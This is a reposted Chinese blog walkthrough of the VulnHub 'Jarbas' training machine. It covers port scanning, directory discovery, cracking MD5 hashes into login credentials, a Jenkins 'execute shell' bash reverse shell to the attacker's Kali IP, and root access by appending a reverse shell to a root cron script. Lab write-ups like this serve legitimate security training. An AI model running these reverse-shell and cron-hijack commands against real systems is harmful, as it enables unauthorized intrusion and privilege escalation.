首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

红队打靶:JARBAS详细打靶思路(vulnhub)

  • 25-02-20 15:01
  • 3442
  • 5235
blog.csdn.net

目录

写在开头

第一步:主机发现与端口扫描

第二步:web渗透(目录扫描)

第三步:web渗透(漏洞利用)

第四步:提权

总结与思考

写在开头

 本博客依旧是根据大佬红队笔记的视频,复现整个JARBAS打靶的思路。不同于简单的writeup,红队笔记在渗透测试的每一步中的做法都有阐释。逻辑明确,纵然是简单的靶机也有很多知识点,故此做一个总结。本期打靶的红队笔记的视频在下方:

「红队笔记」靶机精讲:JARBAS - Jenkins渗透原理详解,一个典型CMS渗透测试样本。_哔哩哔哩_bilibili

本次打靶的过程也是思路比较明确的,但有两个地方的思路需要一定的经验。其一是需要对靶机中CMS的常规漏洞(Jenkins)有一定了解,另外一个就是提权时用到了crontab计划任务,具体思路过程会在下文给出。靶机也是vulnhub上的,详情见:

Jarbas: 1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/jarbas/Jarbas.zip

 下载完成之后,直接用vmware打开,什么也不用设置,靶机打开之后是一个登录界面:

第一步:主机发现与端口扫描

 打靶最开始的思路都是一致的,这里主机发现和端口扫描的操作和上一篇w1r3s1.01靶机基本,上一篇博客详情见:

w1r3s打靶全过程

查看kali本机ip,发现本机ip是192.168.200.131,网段是192.168.200.0/24

ip a

 进行主机发现,用-sn参数(ping 扫描)扫描同网段的存活主机。成功发现了靶机的ip为192.168.200.140。实际渗透测试建议在靶机未上线时先扫描一次,靶机上线之后再扫描一次,这样对比观察就能确定靶机的ip。

nmap –sn 192.168.200.0/24

 端口扫描,以每秒10000的最小速率(--min-rate 10000)扫描全部端口(-p-),其中10000是扫描准度和速度的权衡结果。

nmap –min-rate 10000 –p- 192.168.200.140

 端口扫描结果显示有4个端口开放,分别是22,80,3306,8080。我们具体用TCP扫描(-sT)查看其服务版本(-sV)和操作系统(-O),命令如下

nmap –sT -sV –O –p22,80,3306,8080 192.168.200.140

 发现开放的就是几个常见服务,靶机操作系统是Linux,8080端口开放的服务版本是Jetty 9.4.z-SNAPSHOT,这里不太了解,可能一会web渗透的时候要重点搜索关注。接下来为了保证不遗漏任何端口信息,再进行一次UDP扫描(-sU)

nmap –sU –p22,80,3306,8080 192.168.200.140

 结果发现UDP端口全都关了,那没事了。再用nmap的脚本进行漏洞扫描(--script=vuln)

nmap –script=vuln –p22,80,3306,8080 192.168.200.140

 漏洞扫描也没太多发现,就发现8080端口有一个robots.txt的文件,一会可以看一下。下面我们要开始渗透了,至于从哪里入手,分析如下:

一共开放了四个端口,22远程登录,3306数据库MySQL,还有两个web端口80和8080。显然这个靶机的入口应该还是web。SSH没有太多的攻击面。因此接下来,我们先进行web渗透。

第二步:web渗透(目录扫描)

浏览器访问页面192.168.200.140,可以看到一个jarbas的页面,这就是80端口的页面(即192.168.200.140:80)。

 8080也是web端口,我们同样用浏览器访问192.168.200.140:8080 ,发现是一个登录界面:同时暴露了cms是Jenkins。

如果能够登录进这个界面,应该就可以看到更多有关网站管理后台的信息。因此我们的首要思路就是如何找到这个登录界面的账号和密码,寻找用户名和密码有如下几个思路:

  1. 尝试默认登录,Jenkins是常见cms,可能存在默认密码
  2. 尝试弱口令爆破
  3. 尝试渗透寻找相关密码。

 我们还是先找找有没有一些信息泄露的位置,可能暴露这里的登录用户名和密码。其次在网上搜索有没有Jenkins这类cms的默认登录密码,爆破是迫不得已的方法。

这里插叙一下,在进行nmap漏洞扫描的时候,我们发现了8080端口又robots.txt,因此访问192.168.200.140:8080/robots.txt试一试。

 robots.txt界面有一句话,我们不想让机器人点击“build”链接,此时我们并不了解含义,大致猜测应该是网站不希望一些自动化工具点击build。下面我们再进行一下目录爆破,看看有没有什么其他可以提供信息的web页面。先用dirb试试。

dirb 192.168.200.140

 非常遗憾,啥也没看出来,不应该呀。通常web后台我们关注的是.php和.html页面,那么我们再指定参数 –x .php,.html试一试。

dirb http://192.168.200.140 –x .php,.html

结果还不错,扫出来一个access.html页面,当然还有一个index.html页面,试了一下发现就是初始页面,意义不大。我们尝试访问192.168.200.140/access.html 

 关键信息原来在这儿呢!首先access的意思就有访问、到达的含义,这个页面还给出了一些关键信息,首先是图片上方的标题,直译结果为:凭据以安全的方式进行了加密!

这里的creds凭据应该就是指密码,下面有三行信息,貌似是用户名和密码,密码经过加密,貌似是md5的形式,那么我们用hash-identifier确认一下加密方式,把第一行的数据5978a63b4654c73c60fa24f836386d87检测一下。 

 好了,下一步就是用md5破解工具,这里找了个在线md5破解网站,把三行md5加密后的内容复制进去。这里给出一个在线解密md5的网址:

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online

 把三行密码的md5复制进去,点击提交,破解结果如下:

 结果是:

tiago:5978a63b4654c73c60fa24f836386d87:italia99

trindade:9b38e2b1e8b12f426b0d208a7ab6cb98:vipsu

eder:f463f63616cb3f1e81ce46b39f882fd5: Marianna

成功搞到了三个密码,接下来使用这三个密码对8080端口的登录进行尝试。尝试如下:

用户名

密码

是否登录成功

tiago

italia99

否

trindade

vipsu

否

eder

Marianna

否

 真是奇怪了!三个对应的用户名和密码竟然都不对!可恶!难道这三个密码是用于22端口ssh远程登录的吗?于是我依次又尝试了ssh登录,三个账号依旧login false。8080端口登录失败的界面如下:

 这时候就需要一点小脑洞了。莫非是access.html界面给出的三个账号和密码并非对应,而是错位的?咱也不太清除,试一试看。结果神奇的发现,用户名eder密码vipsu可以成功登录。此处需要注意的是,这里access.html界面仅仅有三个账号,依次手动输入,排列组合,顶多就是3*3=9种可能,可是如果给出的账号比较多,我们可能就需要使用BurpSuite里面的攻击器Intruder进行爆破,要选择用集束炸弹爆破。这里我还是想吐槽一下,access.html页面给出的用户名和密码不对应这一点,对于我这个菜鸟小白还是不太容易想到。如果硬要解释,我觉得可以这么想(马后炮角度):

access.html页面给出的标题:凭据以安全的方式进行了加密!这个页面明明就仅仅对密码进行了md5加密,很容易被爆破解密出来,这怎么就安全了?

这个页面明显是有关于密码的提示信息,而且我们也尝试了ssh登录,结果失败,那么应该就是web界面8080端口的登录。可是我们已经尝试了三个账号,都无法登录进8080端口。

那我们现在只有三个用户名和三个密码,只能是依次不对应的尝试一下了。或许“不对应”也是acccess.html页面中“安全(safe)”的体现。

 登录进来的页面如下:

第三步:web渗透(漏洞利用)

在第二步中,我们已经成功登录了8080端口的页面,进来之后发现是一个cms的后台管理页面,这个后台是Jenkins,下面我们就是需要寻找这个cms有哪些漏洞。我们可以先去kali中的searchsploit搜索一下,或者去msf看看有没有Jenkins的相关漏洞。我这里一搜发现一大堆,整的我有选择恐惧症了。红队笔记大佬说他对Jenkins这个cms非常熟悉,因此漏洞触发的点也非常清楚。总之读者如果看到这里就继续往下看。

进入登录进来的页面有一个创建新项目的选项,那我们干脆创建一个项目,并观察创建过程的配置选项,看看是否存在可能出现漏洞的位置。点击create new job,随便给项目起个名字,我们这里就叫Hacking吧,项目类型就选第一个freestyle project,点击ok。至于为啥选freestyle project,只能说这个排在第一个,应该是最常用的选项,最有可能具有更多的功能点,也就有可能有更多的攻击面。

 点击ok之后,进入了下图的配置界面。

 这个配置界面的选项有很多,我们的目标是寻找漏洞。发现有个build模块,想起了之前robots.txt的提示,可能就是说不希望自动化工具在这里build。因此我们看一下Build模块,点击add build step,下拉箭头有很多,第一个是执行windows批处理命令,之前nmap扫描的时候已经发现靶机是linux,因此这个选项不在我们考虑的范围。第二个命令是excute shell执行shell,这就很有趣了,这里可以执行shell吗?那我们是不是可以在这里构造反弹shell的命令,然后build执行?

 我们选择excute shell,出现了command输入界面,我们就输入反弹shell的命令,点击save用kali的4444端口接收反弹shell好了。请读者注意,下列命令中的ip应该改为kali的ip和一会kali监听的端口,即接收反弹shell的ip和端口。

/bin/bash –i >& /dev/tcp/192.168.200.131/4444 0>&1

 点击save之后,在启动这个项目之前(build now按钮点击之前),我们先要在kali上开启4444端口进行监听。

nc –lvnp 4444

 然后在刚才的Jenkins管理界面点击build now

 点击之后,管理界面如下图,项目应该是成功建立并启动了:

回到刚才进行监听4444端口的kali终端,成功获得了初始立足点,获得了一个反弹shell:

 非常nice,那么我们就看看这个shell的相关信息:

  1. whoami
  2. uname –a
  3. sudo -l

 发现这个shell的用户叫做jenkins,和cms同名,同时权限很低,我们试试能不能看到/etc/passwd中所有的账户信息:

cat /etc/passwd

 这里有两个用户是有bash的,即root和eder。而我们正在登录的jenkins的bash还并不完全,为/bin/false。我们再试试能不能查看/etc/shadow

cat /etc/shadow

 很遗憾,没权限。那么我们就无法通过/etc/passwd破解登录的账户和密码了。此时我们已经获得了初始立足点jenkins,接下来的关键就是找到提权的方法获取root权限。

第四步:提权

提权的基本思路就是:以低权限修改可执行文件/脚本,却以高权限运行可执行文件/脚本。因此我们的思路就是寻找以高权限运行的脚本,企图修改脚本,在其中添加我们的“恶意指令”,最终实现提权。最终发现了以root权限运行的定时任务。

cat /etc/crontab

发现了一个每五分钟定期执行的sh脚本CleaningScript.sh,我们看一看他是啥:

 发现就是一个定期删除日志的脚本。那么我们试试能不能追加一行,让在定时任务中加入命令,使得反弹shell到kali,注意在追加这个命令之前,先要另起一个终端,监听4443端口用于接收root的反弹shell。监听哪个端口无所谓,但不要选择之前接收jenkins的4444端口,避免冲突混乱。

nc -lvnp 4443

接下来在crontab定时任务中追加反弹shell到kali4443端口的命令,在jenkins的shell中执行:

echo “/bin/bash –i >& /dev/tcp/192.168.200.131/4443 0>&1” >> /etc/script/CleaningScript.sh

 最多等待5min后(因为定时任务是每5min执行一次),在监听4443端口的终端应该会接收到靶机root权限的shell,果然,成功提权:

flag就在当前目录下:

 至此打靶完成。

总结与思考

打靶完成后,再进行一下总结。这个打靶的全过程思路如下:

1.主机发现,nmap扫描发现靶机是192.168.200.140

2.端口扫描,发现开放了22,80,3306,8080四个端口。并针对这四个端口进行漏洞扫描,发现8080端口有一个robots.txt的文件

3.目录扫描,从web界面入手,发现jarbas的界面和8080端口的登录界面。对网站进行目录扫描后发现access.html文档,经过解密,成功得到了用户名和密码,登录进入了名为Jenkins的cms后台。

4.查看端口扫描出的robots.txt文件,发现有关于build的提示,在Jenkins的解密寻找漏洞和可能build的位置,成功发现了execute shell的位置,输入反弹shell到kali的指令,点击build now,成功建立项目并执行命令,kali中之前监听的端口接收到了反弹shell,拿到了初始立足点jenkins的shell

5.提权。发现此时jenkins的shell权限很低,我们企图寻找以高权限运行的脚本,企图修改脚本,在其中添加我们的“恶意指令”,最终实现提权。最终发现了以root权限运行的定时任务。在其中追加了反弹root的shell的指令,并在kali中另起一个终端监听端口,成功拿到了root权限的shell。

这个靶机也不算难。但在打靶的过程还是涉及到了一些脑洞和知识点。我感觉不太容易想到的地方和启发有如下几点:

1.网站目录扫描的时候,默认不带参数,是无法扫出access.html页面的,如果卡在这里就完全走不下去了。因此做网站目录扫描的时候,如果一次扫不出结果,可以添加一些参数,或使用多种扫描工具,尽可能多获得一些信息。

2.拿到access.html页面的三个用户名和密码并尝试登录8080端口失败后,是怎么想到用户名和密码可能不对应的?这里需要经验、脑洞。同时也启发我们,当信息有限且无法利用的时候(我们只有这三个用户名和密码,但对应登录都不对),可以尽可能的尝试利用有限的信息。

3.漏洞利用的时候,如果对Jenkins这个cms并不了解,如何进行渗透。这里考察了大家的信息检索能力,如何检索漏洞信息。当然,本文写道可以利用robots信息的提示,但我感觉这个提示还是略显牵强,如果我不了解Jenkins,不看红队笔记大佬视频,也不知道搜索出来的漏洞利用exp如何跑,还是很难进行下一步。而主观上对web界面进行探索,观察可能存在漏洞的位置也是不错的思路。

4.提权的时候,咋想到用crontab定时任务的。需要一些经验,也需要对提权有所了解才行。还是要了解提权的核心思路:以低权限修改可执行文件/脚本,却以高权限运行可执行文件/脚本。

往期打靶文章推荐:

w1r3s打靶全过程

感谢读者阅读。如果喜欢这篇文章,欢迎点赞转发或私信。后续我也会继续写写红队打靶的博客,希望大家多多支持。
 

注:本文转载自blog.csdn.net的Boss_frank的文章"https://blog.csdn.net/Bossfrank/article/details/131017549"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top